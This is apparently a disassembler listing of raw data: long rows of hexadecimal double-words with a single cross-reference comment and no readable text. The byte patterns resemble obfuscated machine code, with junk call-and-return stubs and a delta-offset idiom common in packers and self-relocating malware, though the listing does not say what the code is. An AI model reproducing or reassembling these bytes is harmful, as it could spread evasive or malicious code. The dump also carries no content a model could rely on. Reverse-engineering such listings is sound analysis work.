0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 10C35242h, 0D88BED0Eh dd 8810Fh, 8B530000h, 44152DBDh, 0BD895B06h, 64408D5h dd 840F5750h, 6, 310F5250h, 895F585Ah, 820F2434h, 13h dd 0EE9h, 0E6A1A600h, 5CFDE800h, 0F8C4BA72h, 0FFB2C0D6h dd 47B760B5h, 0B5BD0306h, 0FF064420h, 441E0195h, 0D59D8B06h dd 8B064430h, 47B754B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0CDDAF9D0h, 0D519529h dd 858B0644h, 6442E71h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 98C35040h, 0E772A317h, 860F396Dh, 8 dd 0A19D8B50h, 5F064423h, 0C48689h, 0BD8B0000h, 64410BDh dd 0B2DBD8Bh, 958B0644h, 6442F5Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0BAC35141h, 4A9A6503h, 0B1B52988h dd 8306441Ch, 508904C2h, 7DBD3320h, 8D064423h, 47CAA085h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0E4BECD47h, 8B86B0C0h, 441D11BDh, 0DFBF0F06h dd 8689FE8Bh, 0B8h, 6AD88Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 16C35646h, 9DADE8D0h, 13F2CEA9h dd 14E8h, 4AF45A00h, 7DB189C2h, 0CE61F9D9h, 0F4DFA8BAh dd 0DF8C1DB9h, 0B5FF5FC8h, 647B760h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 3FC35141h, 0B3878BF8h, 0C867CE04h dd 0E1BD8B57h, 5B064407h, 0FF1AE780h dd 44296D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 53AADAC4h, 66E18F54h, 0E950FE8Bh dd 8, 0F77F642Dh, 88670EAAh, 0F243489h, 0BB66DAB7h, 0B5FF3E64h dd 647B760h, 3189BD8Bh, 0BF660644h, 95FF8F63h, 64417D9h dd 12E9h, 20908F00h, 0F0B5082Eh, 26D6160Ch, 1E58DAA2h dd 83F720CFh, 4414B5BDh, 840F0006h, 3Ah, 5E9h, 0D0050400h dd 8B968761h, 6A9650D9h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 4D72C355h, 0C86E588Ah dd 24F8523Fh, 31E1BD8Bh, 0B5FF0644h, 647B760h, 0FE9h, 739F6C00h dd 0DFC88E27h, 0B78CF5D4h, 0F0958F48h, 2E7D95FFh, 6A0644h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0F0C472C3h, 0AA66A965h, 0BB666D57h, 0B5FF002Ch, 647B760h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 3AC35545h dd 7C170BD7h, 0B3949323h, 98BB66EEh, 3D8D3164h, 0FF064431h dd 44144195h, 0D98B6606h, 0B3EEA2BBh, 85BD832Ah, 206440Ah dd 69840Fh, 14E90000h, 0EA000000h, 0A584BE6Dh, 46C9A95Eh dd 7FC2583Eh, 0B2252A85h, 8B837A10h, 44159185h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 2BDEB9E7h, 2BDC8AD8h, 442D15BDh, 0C606h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C0C35141h, 0C7981DEDh dd 44175985h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0DB5EC7A1h, 0A81BD8Bh dd 8B660644h, 0F266E9FAh, 8D89FFFFh, 644104Dh, 44FAC8BBh dd 60C18B2Ch, 2F7D8D29h, 81660644h, 618DB6EBh, 1BE1858Dh dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 60D505C3h, 1C51BD23h, 95030644h, 6441A79h dd 79BD8961h, 50064417h, 8C0Fh, 4890000h, 7DF8024h, 9D01006Ah dd 64414EDh, 6AFB8Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 7BC35343h, 1AFB118Dh, 0EB87F351h, 18D19D8Bh dd 858D0644h, 648968Ah, 1821BD89h, 0C0830644h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 8D9C552Bh, 7F78059Ch, 50DF8B90h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E8A248F4h dd 6, 182DEF8Dh, 0B70F9C30h, 6A5BFEh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 1C35646h, 0B7102540h, 6A14ECh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6C35545h dd 95FFF5A1h, 6441825h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 63C35646h, 11E9h, 0EB0F9500h, 28CD61D6h dd 0E8B570D6h, 4B8B3C58h, 8D8DA5A0h, 6479A97h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 4FC35040h, 3E8620B8h dd 9589DD98h, 6441585h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0A70F01C3h, 609FC65Bh dd 35CCB866h, 61FB8B66h, 2F998D09h, 0BD830644h, 6442F11h dd 81850F01h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 92F0C352h, 331A8D7Ah dd 0DDFB025Bh, 12E9026Ah, 40000000h, 4B5F6341h, 7226A604h dd 8839180Ch, 8C00AA69h, 7E85050h, 9C000000h, 58B89790h dd 0BB66556Ch, 895FD648h, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 52232DC3h, 0A379514h dd 296D95FFh, 9D290644h, 6441C21h, 0DEFE9h, 0E800h, 815D0000h dd 489694EDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 650C7587h, 5E8h, 0DE109600h, 9E86BFCh dd 1F000000h, 14236FBAh, 607F6E4h, 5F0DE380h, 56006A5Bh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0C11D6C40h, 76D10567h, 1BD29A4h, 0E9064418h, 0Fh, 0A27FA9ECh dd 3862A4F9h, 3EAA478Bh, 8DAB5AD4h, 478B5885h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 10139558h, 60924635h, 0F5B52960h, 2906442Fh, 44302DB5h dd 50506106h, 61606052h, 0F61F88Bh, 0FE8B6631h, 489585Ah dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 7E9B916h, 33000000h, 1B747AC3h, 85899A74h dd 644067Dh, 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0E9B0C353h, 11h, 998C5703h dd 1536DB1h, 0F228890Bh, 3B09EEFDh, 25896484h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 94C35242h dd 8E985FFh, 0BB560644h, 49D86AC6h, 29FF6A5Fh, 4432A985h dd 71B5FF06h, 6A064431h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0D0A6C350h, 1E9AF98h dd 0FF0DE3C1h, 44228195h, 131E906h, 6E80000h, 0E5000000h dd 9D6ACCE1h, 7DB589F0h, 5F064400h, 810F00B0h, 6, 0B47EE781h dd 70E615E4h, 1BA59D03h, 0BF0F0644h, 3C71E4FBh, 0FC830F61h dd 0E8000000h, 12h, 6788F76Dh, 23E7A812h, 0E1B55B0Ch, 0C22FE23Ch dd 3353D53Ch, 441075BDh, 0F5B5B06h, 9D8BC8B6h, 64410BDh dd 0BA73EF80h, 6, 1619BD89h, 0C18B0644h, 89DB529h, 860F0644h dd 4, 0DE0EBF66h, 8B04E8C1h, 441E09BDh, 0E2F76606h, 2B11C780h dd 0D8589C8h, 0E906442Ah, 8, 528C9AAFh, 5633A7F7h, 8529D18Bh dd 6442ED1h, 8F59D8Bh, 0E90644h, 8B000000h, 44197D85h dd 859D8906h, 83064402h, 0B53107C0h, 6441951h, 8B00C083h dd 0FD03BDAh, 0A83h, 55E900h, 81660000h, 8BA269F7h, 440DF58Dh dd 1E18306h, 41840Fh, 14E80000h, 21000000h, 0BA4B1553h dd 0C2E05A83h, 365C6137h, 0A78241D1h, 53CE6814h, 2615BD33h dd 5F5B0644h, 33DBD8Bh, 0A5830644h, 6440DF5h, 2EF381FEh dd 8905A333h, 44197D95h, 0E9FC06h, 8D000000h, 48130DB5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0F88BEA03h, 8166006Ah, 56C2A4E7h, 25853160h dd 61064409h, 4D95FF5Bh, 2B06441Ch, 442219BDh, 79CB906h dd 0E1830000h, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 89906E50h, 2ECDB777h dd 17BDBD8Bh, 0BFFC0644h, 52744494h, 2B49BF66h, 0BAFCC02Bh dd 0 dd 0CCF78166h, 0C233ADB1h, 0D003E8D1h, 7504E983h, 56006AF4h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0E74DD18Ah, 136E0CEh, 442B7185h, 99B50106h, 0D064414h dd 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h dd 67C35545h, 0BD89BC70h, 64419F5h, 1A5D9D89h, 958B0644h dd 6442F5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 99C35646h, 2D9DC93Eh, 0E88E2ECEh, 9, 6CD88F55h dd 182F78D5h, 319D8BC2h, 5B064426h, 6798D8Bh, 0C3810644h dd 234427Ah, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0BF0F5818h, 51006AFAh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 47F5913Dh, 33810964h dd 0C5850908h, 8306440Ch, 442CADBDh, 840F0006h, 77h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3FC35343h, 84F30017h dd 0D9BF0FB8h, 0B8h, 5E800h, 0B1D20000h, 5BDA9290h, 4E558D8Dh dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0FFEC70C3h, 0E955745Ch, 0Fh, 5F34E7A3h, 382A06D2h dd 9597E303h, 0FF4E0CC8h, 99D8BE1h, 83064426h, 441071BDh dd 840F0006h, 494h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0CEC35040h, 5556AD4h, 8B31A2C7h, 441925BDh dd 71BD8306h, 1064410h, 479840Fh, 860F0000h, 6, 8819589h dd 0BD830644h, 6441071h, 2A860F03h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 8B57C357h, 8BA30D64h, 4431B1BDh, 8D896006h, 6443301h dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 74D8C357h, 28F364A1h, 17EEE3CCh dd 0AF0AC781h, 0E1807EB5h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0CF886F59h dd 0E6BF9E6Ah, 19CFBB66h, 840FC90Ah, 13Ch, 7E9h, 0C5C26E00h dd 285CF358h, 0AD5858Bh, 6A0644h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0BABE2BC3h, 4CE165B8h dd 0BF661058h, 0D7806ED0h, 0BD8533C2h, 6A064403h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0D97CC351h, 6C47ADDAh, 0D33BBEBAh, 50F88B66h, 0C28B6660h dd 61D08B66h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0B9D5C356h, 8A0FEE5Ch dd 0Ch, 68C0Fh, 8D890000h, 6441BA5h, 0BD89006Ah, 6441EA9h dd 97185668h, 4EBB6612h, 24348128h, 12881BA9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B4C35343h, 4C8D4C24h dd 9FB55104h, 0AE9C2h, 0C3820000h, 8D84663Bh, 16D04474h dd 8195FFh, 0B5890644h, 6442059h, 0E3816651h, 895B02F8h dd 47B76085h, 659D8B06h, 0E9064424h, 219h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6CC35545h, 9D89FE8Bh dd 64420F9h, 0B758858Bh, 0F88B0647h, 1800C7h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 37E483C3h, 9D315EC3h, 64402D1h, 0B75CB58Bh, 6A0647h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 476DBDC3h, 0FF811DACh, 0ECBBAFDBh, 8B075A50h, 44300D85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0E9615AEAh, 6A068933h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0BB6BC353h dd 81D88BBFh, 128D37E3h, 0D5858B71h, 6A06440Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 5233C357h, 4096D0C4h, 7550C4BBh, 446894Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 2AC35242h, 81A74073h dd 0CD15B0EFh, 0CE8503Ch, 0A2000000h, 78121731h, 0F353D732h dd 0FFB6DE9h, 68Ch, 0F525000h, 5B585A31h, 66243489h, 6699EFBFh dd 0B5FFFB8Bh, 647B758h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0BBC35343h, 6FD2BE13h, 0FDBD890Bh, 6806442Ch dd 0EA801B8Bh, 5880Fh, 75BF0000h, 814D322Fh, 0E8742404h dd 6A159Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 81B910C3h, 0BD8B5343h, 6442145h, 60858D5Fh dd 6A0647B7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 51E2C355h, 906F352Bh, 0F9BB9050h dd 897441F7h, 4406D185h, 8195FF06h, 6A064400h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 311FC356h, 442BFD9Dh, 9D8B6106h, 64418D5h, 107185C7h dd 30644h, 10E80000h, 8C000000h, 0D5D7F44Dh, 0F66191B1h dd 0BCFC297Ah, 0B34CC5BEh, 0BD835F6Bh, 647B760h, 36840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 7D5FC357h, 2DE959A7h, 0E9000000h dd 0Dh, 0FC82940Fh, 0A8316DAFh, 0A64D569Ch, 0C30505Dh dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 18D18D09h dd 8E0F0644h, 6, 1BD59D8Bh, 6A0644h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A13DB8C3h dd 821C9553h, 0BD834834h, 6441071h, 0C6850F03h, 6A000003h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 988BC357h, 0C58531F5h, 8306442Dh, 47B760BDh dd 840F0006h, 395h, 0FFDEB70Fh, 47B760B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 9A5C2534h, 60BDBF3Bh, 0BE95A7Ch, 0C4000000h, 60F13B84h dd 63CAF960h, 95FF601Eh, 6440699h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 76C35343h, 50FE88F8h, 8BE7C011h dd 54B58B54h, 0E80647B7h, 7, 1E1ED908h, 8B434D75h, 442F159Dh dd 6C75F06h, 10001h, 21199D31h, 89500644h, 6A2434h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F83C0C3h, 0B70FFEB7h, 60B5FFFBh, 600647B7h, 18F1858Bh dd 858B0644h, 6440D79h, 195FF61h, 6A06441Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0D328C351h, 4F2E7163h, 0E4F38102h, 8B6BCEA8h, 47B754B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 3C6240C8h, 9D093375h, 64410BDh, 2E71858Bh dd 6A0644h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 4617C5C3h, 0D99D8BECh dd 89064430h, 0C486h, 5D958B00h, 0F06442Fh, 0C84h, 68F0F00h dd 89000000h, 441CB985h, 4C28306h, 88E0Fh, 0F500000h, 83h dd 50895F00h, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 2499F961h, 5B73FD3h, 0FFB70FE1h dd 0CAA0858Dh, 6A0647h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0A9F29CC3h, 3E34FF5h, 89F98B66h dd 0B886h, 7E900h, 0A6810000h, 10C2FB99h, 6A006A2Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0F8C5C357h, 60B5FFF1h, 0F0647B7h, 58Bh, 0F3816600h dd 95FFDFBCh, 644296Dh, 2BB19D8Bh, 0B7500644h, 24348913h dd 0FB10F0BFh, 60B5FF23h, 8B0647B7h, 4406C59Dh, 0D995FF06h dd 0FC064417h, 0B5BD83F9h, 64414h, 3F840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0B5179AC3h, 6390A885h, 0A25BD89h, 0F1BB0644h, 8933D36Fh dd 440DC98Dh, 8B575006h, 34895FDEh, 77BF6624h, 60B5FF35h dd 6A0647B7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 57F5C350h, 6D97EB5Eh, 0FEF0D7E9h dd 95FFA2B7h, 6442E7Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0FEC35545h, 89BA69B8h, 0FE9h, 0B3D6FD00h dd 0E8AED3A5h, 5DFD1B6Bh, 66079641h, 0B760B5FFh, 95090647h dd 6440A8Dh, 144195FFh, 6A0644h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 37227C3h, 8B515E1Dh dd 4407B9BDh, 85BD8306h, 206440Ah, 40840Fh, 85290000h dd 6441739h, 1591858Bh, 6A0644h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0E5CD9C3h, 0DD5D2141h dd 85BD8B60h, 0B806442Ah, 387EA552h, 0C661h, 85C7DA8Bh dd 6441759h, 0 dd 0CE9h, 0D3841C00h, 0F906C31Fh, 7DC40500h, 0F3ABE94Eh dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0B3BF91C3h, 55EA87BCh, 66D20885h, 303BC781h dd 9D8BC18Bh, 64407C5h, 1BE1858Dh, 9E80644h, 79000000h dd 97029FF5h, 504CF93Ah, 2799D8Bh, 905F0644h, 0DE9h, 7C779800h dd 50A27483h, 0A79344D5h, 9050849Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 46C35242h, 0FDABA39Eh, 0AF332E2Dh dd 66006A5Ah, 6A1A12BFh, 0DE800h, 2FC70000h, 649A5791h dd 581C2B32h, 371D240h, 440465BDh, 0BD035F06h, 6440C5Dh dd 0A622858Dh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0E4FF84C3h, 5B52FD33h, 5005C083h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0CD07C351h, 6AFE8Ah, 0CE8006Ah dd 98000000h, 44C63E0Ch, 6426C0CAh, 29D114FEh, 441901B5h dd 95FF5B06h, 6441825h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 34C35040h, 6F2BBBEDh, 8D8D1C70h, 6479A97h dd 0FFDA8B66h, 0DE953D1h, 14000000h, 559BA5EBh, 0CB896C4Ch dd 65BBD94Fh, 11BD835Bh, 106442Fh, 6A850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 65620BC3h, 216B7E03h, 26AA567h, 0C9D8D89h, 50500644h dd 5F616057h, 2404895Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 3FC35141h, 7ED8529h, 8D890644h, 6441761h dd 296D95FFh, 9D890644h, 644306Dh, 0E79E9h, 0E800h, 815D0000h dd 48A62CEDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 60FAC235h, 0C63F7BFh, 1D95313Ah dd 6106440Eh, 8E8h, 3548DD00h, 3FD611EEh, 13E9D0h, 303E0000h dd 31FDE7C2h, 0EC486ED8h, 7CE7DB37h, 6A85BF93h, 6A5F9Ch dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 7C7D52C3h, 11598741h, 0BD8BE8AFh, 64402C9h, 8B58858Dh dd 0D8B30647h, 229DBD8Bh, 0BF500644h, 67C4E923h, 0F240489h dd 1485h, 0FE900h, 0A4020000h, 84AA753Dh, 834D3551h, 18CBE417h dd 59D8BAEh, 6406441Ch, 35FFh, 840F0000h, 6, 146DB589h dd 89640644h, 25h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0DC4FA80Ah, 898589D6h dd 6606442Fh, 85FFF88Bh, 64408E9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0D5C35747h, 4560BCBEh, 90A78ECCh dd 8166FF6Ah, 0FF491FE3h, 4430F5B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0E6DAD80Dh dd 3830Fh, 0B70F0000h, 8195FFDEh, 0E9064422h, 14Eh, 0B0D9B70Fh dd 0AE900h, 0F78C0000h, 72EA5231h, 51A64908h, 9D8970E6h dd 6441909h, 0BD3371E4h, 6442285h, 830F613Ch, 122h, 12E8h dd 0F91E7A00h, 53E14228h, 744705D5h, 0F815AE16h, 8913B621h dd 4418358Dh, 0B60F5B06h, 6BAC8h, 9D8B0000h, 6442DFDh dd 0F88BC18Bh, 6004E8C1h, 158D8BF8h, 6106442Ah, 9E2F766h dd 4408058Dh, 29C82B06h, 440E4185h, 0FD18B06h, 68Eh, 75852900h dd 0E9064430h, 0Dh, 0D6F179C8h, 25D445Fh, 5169B1DDh, 9E9E0h dd 0BF0F0000h, 57EB81F9h, 8B45571Ch, 44148D85h, 9DBD8B06h dd 0E806441Fh, 7, 8E06BEDFh, 0E955A7B9h, 5, 5785AA7Ch dd 0C0835BAEh, 8BDE8B07h, 441EF19Dh, 0C08306h, 6E9h, 7490C300h dd 3B330579h, 26830FD0h, 8B000000h, 442B9D9Dh, 58E906h dd 7E80000h, 0D0000000h, 0D8BA5EC4h, 0BD8B2D31h, 644193Dh dd 8589505Bh, 6440CB1h, 798D8B5Fh, 8106442Bh, 1FBFB3EBh dd 1E18368h, 28840Fh, 81660000h, 83AD29F3h, 442B79A5h dd 9D89FE06h, 6440B11h, 148D9589h, 9D290644h, 6442225h dd 0B2D78166h, 0E9FAh, 0B58D0000h, 6481C70h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 4DC35040h, 0B3D917DEh dd 1E859D09h, 8E90644h, 0AF000000h, 7638872Ah, 6AD5926Dh dd 68B0F00h, 3000000h, 4431D99Dh, 4D95FF06h, 6A06441Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0ADA0C350h, 0EBCBB5E5h, 863B9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F319026h, 0E183FFBFh, 52006AFCh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 11EB700Ch dd 8B26F169h, 810FFCFEh, 0 dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8B66457Ch, 0BAFEh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0A420E6C3h, 76CC2D5Bh, 8905F869h, 44180DBDh, 0C233AD06h dd 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 8D1ABFE2h dd 0BFC175BAh, 4D18450Dh, 1E850Fh, 0E9600000h, 11h, 0E8935790h dd 7338FA16h, 0EB316Eh, 4341A007h, 0C1858993h, 6106441Ch dd 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0FB727D2h, 8Fh, 5D958B00h, 6A06442Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 6DC6C351h, 8D8B0FA2h, 6440679h, 159D03h dd 8B500644h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 8B66F88Bh, 0ADBD83DFh, 6442Ch, 71840Fh, 8D890000h, 6441645h dd 0B8h, 0C860F00h, 0F000000h, 68Ch, 9BD3300h, 8D064419h dd 444E558Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0F466EB3Fh, 6BB7D936h, 6AE1FFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 4D66D2C3h, 0DC37D7B6h, 9DBD297Eh, 83064425h, 441071BDh dd 840F0006h, 4B9h, 83D98B66h, 441071BDh, 840F0106h, 4C4h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 2AC35242h dd 9E064E62h, 2F85BD89h, 9D8B0644h, 6441955h, 1071BD83h dd 0F030644h, 45586h, 66F96000h, 6AD98Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h db 24h, 4 word_587256 dw 19h ; DATA XREF: ___:off_42AFECo dd 52420000h, 7D62B3C3h, 804826CCh, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0F720CFC3h dd 31ABB7E5h, 0BD0160BEh, 64423B9h, 840FC90Ah, 122h, 0BD9B589h dd 0BD8B0644h, 6442041h, 0AD5858Bh, 6A0644h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E8BB26C3h dd 12E9EEh, 7F050000h, 304B7BEEh, 0DC748509h, 0B156B805h dd 0C0DF142Ch, 3BD8533h, 0BF500644h, 4916101Ah, 8B50905Fh dd 858990DEh, 6441CD9h, 960006Ah, 44254585h, 8DB58B06h dd 6106441Dh, 0E4CC968h, 0F1B9600Fh, 0F1496F4h, 28Fh, 6184B300h dd 36243481h, 6A0F114Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 2DB2C357h, 624516BDh dd 0E381668Fh, 0B5014C00h, 6440299h, 8195FFh, 6A0644h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 2D774FC3h, 6C4D94F0h, 9D8B52F8h, 64424C1h, 6085895Bh dd 810647B7h, 0B69EF1CBh, 0E941B727h, 265h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BDC35040h, 602C7D02h dd 668614D5h, 858BF88Bh, 647B758h, 89B58960h, 0BE06442Fh dd 5C5B2DAEh, 1800C761h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 1414C355h dd 5D23C6A7h, 8BF54E17h, 47B75CB5h, 1DBD0106h, 8B064410h dd 44300D85h, 12E906h, 15E50000h, 0CA79E34Dh, 0B6024CE3h dd 7A041FBEh, 6E8D060Fh, 0B5890689h, 6441C75h, 0AD5858Bh dd 6A0644h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0CE9A9C3h, 5D000000h, 6B661813h, 0BCEA3CA9h dd 8914ABECh, 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 2AAB7AC3h, 0E9DBB70Fh, 0Eh, 58A516DDh dd 0C278C253h, 0C8E56EDFh, 8C0F2DFCh, 6, 3149E781h, 0B35071E0h dd 2434899Ah, 11E9h, 2CB54C00h, 0FBE77058h, 7BC5F700h dd 91AB57F8h, 0B5FF985Bh, 647B758h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0F2C35747h, 0BDC11374h, 8B0932C2h dd 4409419Dh, 0CF816606h, 